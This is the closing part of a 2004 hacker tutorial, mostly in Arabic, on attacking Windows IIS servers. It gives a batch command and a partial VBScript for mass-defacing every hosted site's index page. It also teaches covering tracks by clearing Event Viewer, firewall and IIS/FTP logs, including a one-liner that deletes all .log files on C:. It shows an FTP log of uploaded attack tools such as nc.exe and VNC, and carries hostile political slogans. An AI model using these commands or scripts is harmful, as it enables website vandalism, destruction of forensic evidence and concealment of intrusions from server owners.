·      Create one htm file with name "index" in drive D:\ and write this inside the file"Death_To_Israel"

·      Create 5 folders in drive D:\

·      Inside every folder ,create one file called index.htm and write this inside each one :

" Israel is a good country "

·      Go to dos and issue this command from d:

D:\for /f "delims=;" %I in ('dir /A:d /b') do copy /y index.htm "%I\index.htm"

    Did you see the results now ?!

1-     أنشأ ملف وسمه index.htm واكتب بداخله Death_To_Israel وضعه على D:\ .

2-     انشأ 5 مجلدات على D:\ .

3-     داخل كل مجلد من الخمسة أنشأ ملف وسمه index.htm واكتب بداخله " إسرائيل بلد السلام " .

4-     اذهب إلى سطر الأوامر وانتقل إلى D:\ بحيث يكون مكان كتابة الأمر على D:\ , ونفذ الأمر السابق كالتالي :

 D:\for /f "delims=;" %I in ('dir /A:d /b') do copy /y index.htm "%I\index.htm"

وانتظر النتيجة ! . قام الأمر السابق بتغيير كل صفحات index.htm في الخمس مجلدات بالصفحة الرئيسية على d:\ .

 

الحالة الثانية :  لتستطيع تغير صفحة index.htm لجميع المواقع كما قلت أنت بحاجة لمعرفة مكان ملفات المواقع على السيرفر , وهذه مسألة قد تطول لو كانت ملفات المواقع في أماكن متفرقة , ولا يمكن أن نقوم ببحث لتحقيق ذلك لأن استراتيجيتنا في العمل داخل السيرفر أن ننفذ كل شيء بشكل أوتوماتيكي وسريع .

قام صديقي MJM بكتابة VBscript يقوم بتنفيذ كل شيء بشكل أوتوماتيكي على السيرفر يعني يقوم بمهمتين :

1-     إيجاد جميع أماكن مجلدات المواقع .

2-     نسخ صفحتك الرئيسية التي ستشوه بها جميع المواقع في جميع مجلدات ملفات المواقع واستبدال صفحة index.htm الخاصة بالمواقع إن وجدت. وسأنشر حاليا جزء من هذا الكود القاتل لأي ويب سيرفر :

' This Script was written by: MJM

Server = "localhost"

 

 

'get all the sites in the local  server

Dim Buffer

Dim iiso

Set iiso = GetObject("IIS://" & Server & "/W3SVC")

Dim i, ii, SubVir

Dim siteBindings

Dim oFSO

 

on error resume next

 

set oFSO = CreateObject("Scripting.FileSystemObject")

 

For Each i In iiso

         If i.Name <> "Info" And i.Name <> "Filters" Then

                     'get the server bindings  for every site                 

                     set Website = GetObject("IIS://" & Server &  "/W3SVC/" & i.name & "/ROOT" )

                    

                     Egg  i.servercomment, Website.path

                     For Each ii in Website

                                 set Vir = GetObject("IIS://" & Server &  "/W3SVC/" & i.name & "/ROOT/" & ii.Name )

                                 if err.number = 0 then

وكما قلت هذا جزء من الكود فقط .

نصيحة : لا تقوم بعمل Mass defacement من أول مرة تخترق فيها السيرفر , واترك لنفسك الوقت لتجربة كل مهاراتك وخبراتك على السيرفر , وإذا كان السيرفر يخص جهة عربية أو مسلمة فمن واجبك الأدبي ك " هاكر" أن تبلغ مدير النظام بكل الثغرات التي استطعت أن تكشتفها على السيرفر .

وأشير إلا أني لا أؤمن بحصانة المواقع والسيرفرات العربية أو الإسلامية على الإنترنت لمجرد أنها عربية أو مسلمة .

وهناك مواقع عربية وإسلامية تستحق التدمير وليس الإختراق , واختراقها يحقق فائدة أكثر في بعض الأحيان من اختراق المواقع الإسرائيلية. على كل لا أريد أن أثير جدل حول هذا الموضوع واترك لكل واحد حرية التصرف بحسب ما يمليه ضميره

وتذكر دائما : اختراق أنظمة وشبكات الشركات جريمة يعاقب عليها القانون في الدول المتحضرة , وهناك الكثير من التشريعات التي صدرت في هذا المجال وخصوصا في الولايات المتحدة الأمريكية ويمكن العودة إلى بعض قوانين الكونجرس للمزيد عن الجانب القانوني لمثل هذه العمليات.

 

Seven 7 : Cleanup

بعد أن تنتهي من العمل على السيرفر ( يفضل ألا تزيد فترة عملك على السيرفر أكثر من 7 دقائق , فهي كافية لتحقيق كل الأهداف السابقة بسبب استراتيجية automation لجميع العمليات على السيرفر ) , يبقى أن تقوم بمسح أثرك وعدم ترك أي شيء يدل عليك .

أحد أهم القدرات في الويندوز هو قدرته على تسجيل الأحداث , كل كبيرة وصغيرة وكل حركة يمكن أن يسجلها النظام في event viewer , إذا ما أعطي الأمر لعمل ذلك , وهناك logs الخاصة ب security وهي تسجل كل محاولة ناجحة أو فاشلة إلى النظام وتعطي تفاصيل مثل إسم المستخدم المسجل دخوله وعنوان IP الخاص به. انظروا إلى هذه الصورة:

 

فقد سجل النظام كل التفاصيل وهي :

التاريخ: 2004/21/8 + الوقت: AM 1:28:06 + نوع الحدث : logon/logoff + إسم الجهاز : Magicpc +رقم الحدث:540

وفي الأسفل سجل أخطر شيء على المهاجم وهو IP address وهو هنا 192.168.0.10 .

كما ذكرت يمكن أن يقوم event viewer بتسجيل كل العمليات على السيرفر , مثل تثبيت أو إلغاء برامج , تشغيل برنامج , عمليات الدخول والخروج , أي أخطاء تحدث في النظام . الخ..........

ولكن لن يقوم السيرفر في حالتنا نحن بتسجيل دخولي في logs لأننا لم ندخل بالطرق العادية ( user+pass) ولكن بالقوة عن طريق الثغرة , وبالتالي , فلن يلاحظ النظام عملية دخولنا ولن يسجل ذلك . متى سيلاحظ ذلك ؟ عندما ندخل عن طريق Remote desktop , لأننا سندخل بالطريقة العادية ( user+pass)  عن طريق الحساب الذي قمنا بإنشائه.

سيقوم النظام بتسجيل كل التفاصيل السابقة ومن ضمنها IP address الخاص بك.

 

إذن, يجب أن نقوم بمسح كل سجلات logs  قبل خروجنا من السيرفر, ويكون ذلك كالتالي :

 

بعد إتصالك بالسيرفر عن طريق remote desktop  اتبع الآتي :

Start >> run >> eventvwr

 بعدها ستفتح أمامك شاشة event viewer قم بعدها باختيار السجل المراد مسحه وإضغط عليه بيمين الفأرة كالتالي :

 

والآن علينا أيضا أن نبحث عن ملفات logs التي تشكل خطورة علينا ..

أحد هذه الملفات هو الخاص ب firewall ICF , فهو يسجل كل محاولات الإتصال الناجحة مع السيرفر إذا ما طلب منه ذلك .

وهنا سأعرض جزء من ملف Log الخاص ب firewall :

#Verson: 1.0

#Software: Microsoft Internet Connection Firewall

#Time Format: Local

#Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info

2004-08-14 12:19:44 OPEN UDP 212.33.164.67 192.33.4.12 1036 3389 - - - - - - - -

 

كما نشاهد , تسجل الإتصالات الناجحة بين السيرفر وطرف الإتصال الآخر بالوقت والتاريخ وأرقام المنافذ أيضا , وواضح من رقم المنفذ 3389 أن الإتصال السابق هو اتصال RDP يعني Remote desktop .

مسار الملف الإفتراضي هو C:\Windows\pfirewall.log وهو غير معد تلقائيا لعمل ذلك يعني( تسجيل الإتصالات الناجحة)

 It is not enabled by default. يمكن أن تقوم بمسحه بنفس الطريقة السابقة عن طريق Remote desktop.

ملاحظة : 99.9% من السيرفرات على الإنترنت تشغل أنظمة مختلفة للعمل ك Firewall , وبالتالي فإن ICF لن يكون له أي أهمية , ولكن أنا تحدثت عنه حتى تأخذ فكرة عن طبيعة ملفات Logs وخطورتها على المهاجم.

هناك مجلد افتراضي في ويندوز خاص بملفات logs موجود على المسار التالي :

C:\Windows\system32\LogFiles

يحوي هذا المجلد بداخله ست مجلدات افتراضية , والذي يهمنا منها أربعة فقط هي :

HTTPERR + MSFTPSVC1 + W3SVC1 + W3SVC826755655

1- HTTPERR : لتسجيل أخطاء في اتصالات http.

2- MSFTPSVC1 : لتسجيل اتصالات FTP.

3+4 -  W3SVC1 + W3SVC826755655 : لستجيل اتصالات http مع الويب سيرفر IIS .

ملاحظة : في windows server 2000 هناك مجلدان فقط وهما MSFTPSVC1 + W3SVC1 .

مجلد MSFTPSVC1 يحوي ملفات logs تسجل الدخول اليومي لجميع المستخدمين على السيرفر عن طريق FTP.

 وبما أننا وأثناء عملية الإختراق أنشأنا اتصال FTP مع السيرفر لنقل الملفات , فهذا يعني أن اتصالنا سيتم تسجيله .

 هل هذا الكلام صحيح ؟

لا ليس صحيح , لأن عملية الإتصال حدثت بشكل معاكس يعني من السيرفر إلى جهازي وليس العكس , فإذن يفترض أن يقوم جهازي بتسجيل الإتصال وليس السيرفر .

على كل حال إذا قمت بإتصال ftp من جهازك إلى السيرفر , فيجب أن تقوم بتطهير المجلد بالكامل , لأن البيانات التي تسجل ممكن أن توديك في ستين داهية . لإثبات ذلك , سأعرض الآن جزء من ملف log خاص باتصال ftp مع السيرفر :

#Software: Microsoft Internet Information Services 6.0

#Version: 1.0

#Date: 2004-08-07 21:30:15

#Fields: time c-ip cs-method cs-uri-stem sc-status sc-win32-status

21:37:18 192.168.0.10 [2]USER anonymous 331 0

21:37:18 192.168.0.10 [2]PASS SYSTEM@client 230 0

21:37:26 192.168.0.10 [2]sent /go.bat 226 0

21:37:26 192.168.0.10 [2]sent /nc.exe 226 0

21:37:26 192.168.0.10 [2]sent /NoTS.reg 226 0

21:37:26 192.168.0.10 [2]sent /out.bat 226 0

21:37:28 192.168.0.10 [2]sent /TS.reg 226 0

21:37:28 192.168.0.10 [2]sent /vnc.reg 226 0

21:37:28 192.168.0.10 [2]sent /winvnc4.exe 226 0

21:37:28 192.168.0.10 [2]sent /wm_hooks.dll 226 0

21:37:34 192.168.0.10 [2]QUIT - 226 0

يمكن أن يكون ملف log بهذا الشكل , حيث يظهر IP address للمستخدم الذي سجل دخوله إلى النظام, وأيضا تفاصيل جلسة الإتصال وما تم فيها , وكما تشاهدون فإن الملفات التي نقلناها في السابق تظهر جميعها هنا.

أكرر , إذا اتبعت الطريقة السابقة  لن يسجل النظام أي شيء لأن الإتصال هنا يتم بشكل معاكس , واحذر أن تقوم بالدخول إلى السيرفر عن طريق FTP , وأن تترك ورائك ملفات logs من غير أن تقوم بمسحها.

 

واستكمالا للحديث عن ملفات logs , فإن الكلام السابق كان على افتراض أن أماكن ملفات logs بقيت كما هي افتراضيا وأن مدير النظام لم يغير في أماكنها شيء , ولكن ماذا لو غير الأدمن أماكن هذه الملفات ؟ هل ستبحث عنها في كل النظام ؟

بالتأكيد لا ...

هناك أمر يمكن أن تنفذه وسيقوم بمسح كل الملفات التي لها امتداد log على C:\ وهو :

For /f "delims=;" %I in ('dir c:\*.log /s /b') do del "%I"

بعد تنفيذ هذا الأمر سيبقى عدد صغير من ملفات logs لن يتم مسحها لأنها مستخدمة من قبل عمليات أخرى, معظمها خاص بتسجيل أحداث منفصلة على السيرفر.

وكما ذكرت في السابق يجب أن نقوم بعمل ملف دفعي يحوي جميع الأوامر التي تقوم بحذف ملفات logs , وأيضا بعض الأوامر الأخرى لتمسح أثرك تماما .

وهناك قضية بحاجة للمزيد من البحث , وهي حذف جميع ملفات logs المسجلة في firewall system إذا كان غير ICF

 

------------------------------------------------- End of article --------------------------------------------------

وبذلك أكون قد انتهيت من هذا الموضوع الذي أتمنى أن يكون قد قدم جديدا للجميع بخصوص سيرفرات الويندوز .

 

تحياتي للجميع , والشكر الحار والجزيل إلى صديقي العزيز MJM .

 

Greets go to my friends : Matrix_Egyption_hacker , Linux_storm

 

في الختام خير الكلام :

قال تعالى : ( يا أيها الناس اتقوا ربكم إن زلزلة الساعة شيء عظيم * يوم ترونها تذهل كل مرضعة عما أرضعت وتضع كل ذات حمل حملها وترى الناس سكارى وما هم بسكارى ولكن عذاب الله شديد ) سورة الحج ..

 

 

 

The sun of Israel will go down one day, and Al-Quds will remain for ever in our hearts.

 

Muslim_haqer

 

Muslim_haqer@hotmail.com

 

إلى اللقاء في المشاركات القادمة بإذن الله ..

 

أخوكم / مسلم هاكر ..

 

 

All rights reserved 2004

 

 

Final word for the copy/paste lovers , please stay away from this article..